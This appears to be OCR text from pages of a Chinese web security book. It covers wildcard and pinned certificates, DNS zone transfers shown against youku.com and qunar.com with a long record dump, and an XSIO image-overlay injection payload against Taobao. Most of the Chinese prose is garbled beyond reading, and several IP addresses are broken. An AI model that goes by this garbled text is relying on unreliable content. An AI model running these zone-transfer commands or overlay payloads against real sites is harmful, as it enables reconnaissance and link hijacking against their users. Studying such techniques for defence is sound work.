2687:f8hB:-4802:cB32: :hd
74.125.196.18%
.gites.google_con

Emitido par www-.sites.google.com

Emitido por OWASP Zed Attack Proxy Root CA
IC=~UserssAdnin>

vilido a partir de 27/09/2013 até 13/01/2022

OK

11450 / & 125 70 AUVE B ol #2215, VIZIH TARERIE.
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EEEENE  1RE RFC 2818 Z{RE/RAIMIuL_EEFIEECIET (wildcard certificate)
HIBHER , Ebil.google.com , BECUER REREHZTA. NER(FEILAC.google.com
BES , 7Z abc.def.google.com |, MIMSEESIRTRIFP4EIR,

Chrome 528 FhSERRIES (pinned certificates)JLAEX B E :

https://src.chromium.org/viewvc/chrome/trunk/src/net/http/transport_security_state_static.json

ERSFHNLIRES |, BRI SSL A9 397 MR ER 55 MNEBEAE(IAY DNS 5
2T, — PN ERFARE | IFRETER— S CA ERANERERILIAXTS
IENFEZ TR ERPEALGE | iEANSIESSESE | Y HSTS HlFHEmE
cookie,

Google i&HEXAN bug & CVE , (E2JUBSMAIEEENEE Y. Chrome 327133 LA
FRIRRAAR ST,

£ Apple iRfEA Goto fail RYRIRRZHEERIRT R , IRIREW T Chromium A9 tracker
MANHRRAIRES | (RN EREEIR N EHERMN.

Google #] Facebook == FIPALLIERIERREF. X1 bug RIFEFIAY B5 OWASP
79 Top 10 WABEAHERE.

XA bug FE—MIEE , BABEMRIXEREEE7 Advanced Persistent
Cross Site Wildcard Domain Header Poisoning ( &{&#k APCSWDHP )
SNRAFKE NSA | FHEEFERILRAFIEANIAIN DNS ,iEFERS CRAZY KOALA
X AMAEESHRIRAISERT |, BT LA ERER A1 T,

5. DNS K

DNS i E—ERERERMZ £ MBRIMRFRE , XMEFRA "SRE" NS

BHIERIREI "ErRiTER &K "BEEEENT S, ESEENBEACE

FH 11500 / B 125 00 AXHME R 2 Yol = 23580, VIZIA FAREHE.
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RME, MEMALRZ2ME , FIFRETHEBSREEE DNS MARFIEHIVERE |
nE "BE" RESRPEFR.
PEER2S DNS #i757% ¢
SEE DNS RSB,
o FEET bind 8 dnsmasq &
® KEHFERAEBRIEING VPS &
o EEMIFRILHZISETRERT IP ik
REMCERIRSS 28
o —fRf&EF Nginx
o TERANTERIEERR
® HEA—KL LNMP EHIENENR
DNS #aiFErI SH B indZ EiEEmfami , EignRARIERSSHENTIE
BUE DT R
DNS [BiRIZEHE
R EXNRIEE AR , REEMEHEMNA zone, options Fi70 allow-transfer fR
HIETLAUHTEISAIIRSEEFMATLAY |, ATLIERRTS : PREI 1P, A key IAIE,
KT DNS #FRUEESRI—LEEN -
o XiEI EEBETHFRERR
o SRERL . NG BEEREIE
o KEE(FERSUL https 1%
o ML RXTFUIHEBHNL LI

(£X5c) =S @ X

FH 116 51 / & 125 51 AXHHME R 2 Pl = 258, VIZIE TAREHZ .
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H2T5 SCPREEfH!

(==Yl

kB Bx. BR

ML : http://www.wooyun.org/. http://www.secbook.net

1, {5 DNS iR{&ixiEE

ns3.youku.com DNS [RZH[EEAFS , SEATEEE dns itEE |, OIE5 [RRH—2/

AR |, a0 5-2-1

youku . com. 3600 IN ns1.youku.com. hostmaster.youku.com. 2007102901 3600 900 604800 86400
youku. com. 3600 IN 5 smtp.youku.com.
youku. com. 3600 IN 61.135.196.21
youku . com. 3600 IN 121.9.204.234
youku . com. 3600 IN 125.39.185.5
youku . com. 3600 IN 202.102.81.234
youku. com. 3600 IN 211.151.146.19
youku. com. 3600 IN 220.181.52.21
youku. com. 3600 IN ns1.youku.com.
youku . com. 3600 IN ns2.youku.com.
youku . com. 3600 IN ns3.youku.com.
youku. com. 3600 IN "v=spf1 1p4:60.247.104.96/27 ip4:211.151.89.0/24 1p4:219.143.250.64/26 ip4:59.
151.30.0/25 ip4:211.151.50.0/24 ip4:124.42.96.96/27 a mx ?all"
09niuren.youku.com. 3600 IN 220.181.21.123
101bb. youku. com. 3600 IN 211.151.146.28
10fenv.youku.com. 3600 IN 220.181.21.117
12530. youku. com. 3600 IN 211.151.146.28
1626.youku.com. 3600 IN 211.151.146.28
2008. youku. com. 3600 IN 211.151.146.28
2009music.youku.com. 3600 IN 211.151.146.28
2011zgdrx.youku. com. 3600 IN 211.151.146.28
3g.youku.com. 3600 IN 220.181.60.72
channel.3g.youku.com. 3600 IN 211.151.146.78
fee.3g.youku.com. 3600 IN 220.181.60.82
video.3g.youku.com. 3600 IN 220.181.60.69
vod.3g.youku.com. 3600 IN 220.181.60.240
vod1.3g.youku.com. 3600 IN 220.181.60.74
vod2.3g.youku.com. 3600 IN 220.181.60.75
3gtest.youku.com. 3600 IN 220.181.52.161
51mei.youku.com. 3600 IN 211.151.146.28
720hd. youku. com. 3600 IN 220.181.21.117

>rrrrrrrr>rr>r>>>>>

5-2-1

imILERE

ddtv.youku.com. 3600 IN A 211.151.146.28
desktop.youku.com. 3600 IN A 60.217.254.29
desktop.youku.com. 3600 IN A 123.234.2.59
dev.youku.com. 3600 IN A 211.151.146.103
dg-s.youku.com. 3600 IN A 119.147.98.23
dg-s.youku.com. 3600 IN A 119.147.98.24
dg-s.youku.com. 3600 IN A 119.147.98.25
dg-s.youku.com. 3600 IN A 119.147.98.26

dianshiju.youku.com. 3600 IN CNAME  c.youku.com.

dianying.youku.com. 3600 IN CNAME  c.youku.com.

FA17 0/ B 125 T AUEME B e Mol 2158, VIZIA ARG & .
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dior.youku.com.
dp.youku.com.
dulala.youku.com.
dunhuang.youku.com.
dv.youku.com.
e2011.youku.com.
eastradio.youku.com.
eclairol.youku.com.
edu.youku.com.
ef.youku.com.
ellemen.youku.com.
encoder.youku.com.
ent.youku.com.
event.youku.com.
events.youku.com.
s.events.youku.com.
up.events.youku.com.
expotw.youku.com.
f.yyouku.com.
f18.youku.com.
fashion.youku.com.
fiesta.youku.com.
file.youku.com.
finance.youku.com.
fq.youku.com.
fryouku.com.
fs-f.youku.com.
fs-f.youku.com.
fs-f.youku.com.
fs-f.youku.com.
g0.youku.com.
g0.youku.com.
g0.youku.com.
gl.youku.com.
g2.youku.com.
g3.youku.com.
g4.youku.com.
game.youku.com.
gke.youku.com.
go.youku.com.
w.go.youku.com.
gongyi.youku.com.
gsttxs.youku.com.

gupload.youku.com.

3600 IN A 211.151.146.28

3600 IN  CNAME  c.youku.com.

3600 IN A 211.151.146.28

3600 IN A 211.151.146.28

3600 IN  CNAME  c.youku.com.

3600 IN A 211.151.146.28

3600 IN A 211.151.146.28

3600 IN A 220.181.21.123

3600 IN  CNAME  c.youku.com.

3600 IN A 220.181.21.123

3600 IN A 211.151.146.28

3600 IN A 10.101.4.1

3600 IN  CNAME  c.youku.com.

3600 IN A 220.181.21.117

3600 IN A 60.29.238.4

3600 IN  CNAME  events.youku.com.

3600 IN  CNAME  events.youku.com.

3600 IN A 220.181.21.123

600 IN CNAME tj-fyouku.com.

3600 IN A 211.151.146.28

3600 IN  CNAME  c.youku.com.

3600 IN A 211.151.146.28

3600 IN CNAME  fyouku.com.

3600 IN  CNAME  c.youku.com.

3600 IN A 211.151.146.28

3600 IN A 10.101.4.1

3600 IN A 121.9.204.141

3600 IN A 121.9.204.142

3600 IN A 121.9.204.143

3600 IN A 121.9.204.144

3600 IN A 218.60.4.46

3600 IN A 218.60.4.47

3600 IN A 218.60.4.48

3600 IN  CNAME  hO.youku.com.

3600 IN  CNAME  hO.youku.com.

3600 IN  CNAME  hl.youku.com.

3600 IN  CNAME  hl.youku.com.
3600 IN  CNAME  c.youku.com.

3600 IN A 211.151.146.28

3600 IN A 220.181.60.62

3600 IN A 220.181.60.71

3600 IN  CNAME  c.youku.com.

3600 IN A 211.151.146.28

3600 IN A 211.151.146.56

F118 7 / & 125 T
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h0.youku.com. 3600 IN A 218.60.4.46
h0.youku.com. 3600 IN A 218.60.4.47
hp-tx2000.youku.com. 3600 IN A 220.181.21.123
hplaseryouku.com. 3600 IN A 211.151.146.28
hvsop.youku.com. 3600 IN A 220.181.21.123
hz.youku.com. 3600 IN A 211.151.72.29
hz.youku.com. 3600 IN A 211.151.72.30
link.hz.youku.com. 3600 IN A 211.151.72.29
icoke.youku.com. 3600 IN A 211.151.146.28
idx.youku.com. 3600 IN  CNAME  c.youku.com.
iku.youku.com. 3600 IN  CNAME  c.youku.com.

ilovee-surfing.youku.com. 3600 IN A 220.181.21.123

index.youku.com. 3600 IN A 211.151.146.61
ios.youku.com. 3600 IN A 211.151.146.71
ipad.youku.com. 3600 IN A 211.151.146.28
iphone.youku.com. 3600 IN A 220.181.52.161
iphone4.youku.com. 3600 IN A 211.151.146.28

iryouku.com. 3600 IN  CNAME phx.corporate-ir.net.
israel.youku.com. 3600 IN A 211.151.146.28
j5m.youku.com. 3600 IN A 211.151.146.28
jiajieshi.youku.com. 3600 IN A 220.181.21.122
A

jiajieshi.youku.com. 3600 IN 220.181.21.123

2, X)L DNS f§f&iEiER

DNS fRSS2RECERIRE , AEREEERSIR  &IDXMK , RX—E..

FAHRE |, qNE 5-2-2

whdlp
wiki

ws

59.151.47.227
222.128.1.79
59.151.51.5
59.151.51.8
59.151.61.61
59.151.61.62
59.151.61.61
59.151.61.62
59.151.61.59
59.151.61.57
211.151.239.54
59.151.61.56
59.151.51.37
59.151.51.39
211.151.239.57
59.151.61.61
59.151.61.62
58.83.134.85
59.151.51.12
123.163.12.119
58.83.1308.153
59.151.16.167
59.151.47.2568
59.151.47.258

ws
Wy
Wy
WL
W
wuwl
w2
w3
wwwd

wuub
wwub
wun?
WY

WY
xdhb

xiamenair
yltuzxy
zhaopin
zhidao

zhidao
commit.zhidao

b= =2 =~ = = = = - = T = R = S = i = T = T = R = i = i = T = T = = = i = T = T = R = = = - = T =]

F119 0 / & 125 T AUHME B e Dol 2158, VIZIH ARG .



Fozz HHRM 2245k | 5-E

5-2-2

imBIALERR

nslookup -gt=ns qunar.com

>server ns6.qunar.com (E{& ns5.qunar.com)

>|s qunar.com

3. MEEFRBERARAHIE DNS #isIE.

SR AFRY DNS 5.

FE—MsEnFIAAEL XSI0 BiE

JRALR 2RI T X8R xsio imild AEHFIIIR—X A8 TR LASTHL DNS
WMERERRREBEIMEAN , XEENERITE.,

X EIFERRRIRIRHER | XMEHRBSEEMIL SR T8EINDBA
http://yigi.taobao.com/ , HEFH¥RZBHAMER , XIHREE—EBIEIMASIE T

HAGER | 20 5-2-3 :

?ﬁﬁﬁﬁ%d \53\[3)\ B—H

. catstarsindy +
(RELEIA RN

e BERE1989 +
0 IREIBEIA A

r.

ERARHETER +

I, 3 M Ak

ol

LAY

WWW.WO0O0YUN.org

5-2-3

12000 / & 125 o1 ANEME R4 Al 258, VIZ0H T aRE .
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BEMEAIEISAZ content SHUVREAIAE |, OE/IVINIERT—IE | HAlE

EBX , G0E 5-2-4

DaPRu%28Pw%3 D%3 D&cookie21=U %28 GCWK%2F 7TowY3ilv07eGMYw %3 D%3 D&tag=3 &cookie15=UIHILt3xDBX Tw%
30%30

receiverlds=200355193 &groupld=7244058 &content=%E6 %688 %9 196E4 %B 8%80%E4 %6 8 %6AA JEA %8 A%B A%E6%6B 7%9
BOES AL 59D %E %A S6AATLE 7 %97 %498 %EE %BB %6 %E4 9B A%BI6EF %B C%BC %EY%8 29680 %EB%AF %8B 79%E4%B D %A
0%ES%BATAN%E %685 %AS%EL %88 %9 1%E 79%9A%B4 %E 29680%9CTdsfdsal 11111 1%E 2%80%9D %ES%B 0%68F 6ES
8%BB8%6E9%83 %B D %ES %I C YABIEB%B FFI9%6E %687 %BCIETII5%A0EF 6B 968 1%E9%93 %68 E SEE I6BE SAS%ES %I
CABIREB B F 96999%6E9%8B7 %8B %626t%3B %3 Ca%20href%630%22http %63 A%2F %62F th.cn%62F GCwih6%22%20target %630
%22_blan&_th_token_=3ed371e370ah

s o WWW.WOo0oyUn.org

\ | \ | T

5-2-4
& content AEFIOAIESFF<. >, /FFHNBEEHFET—E , 1B 5-2-5:

BRBEL WWW.Wooyun.org

5-2-5
S —FNIEAMIRRTIXT html ZB44, javascript SURSKIAESSBERHTT 7 FEASIiE.

BR  AONAIRFEREI T IREIRHIE R JEE position J3 absolute , SERILAE
Hl—SKE F HIMER TR ER A E. BBABA IR LARIXGKE A BEM I LR ES—
MIE , BIEMLSE banner , B3F— link. — button,

Xt A LASEUERSA. MEE MRE—MEHER REARTLUEE— M ISAER |

EREEXERNRY XSIO imRSEIL T |, FIFAASANT :

<a href="http://bingsec.com?spm=0.0.0.0.LyuuFi" target="_blank" data-spm-anchor-id="0.0.0.0"><img
src="http://img01.taobaocdn.com/poster_pic/T1gMpCFrRXXXXXXXXX" style="position:
absolute;left:-110px;top:1px;" width="240" height="240"></a>

XEHEFAIER LIB=E http://www.taobao.com , sIIRIRAIZFEMHEATIES.
RRPREARIEE/LEFHEE—BRIRIE 7 AMRIER S EPRIXIHRFIEN T A

RYEIERuSEIER , 20E] 5-2-6

#1210 / B 125 T AUHME B A Mol e 258, YIZI T aARE & .
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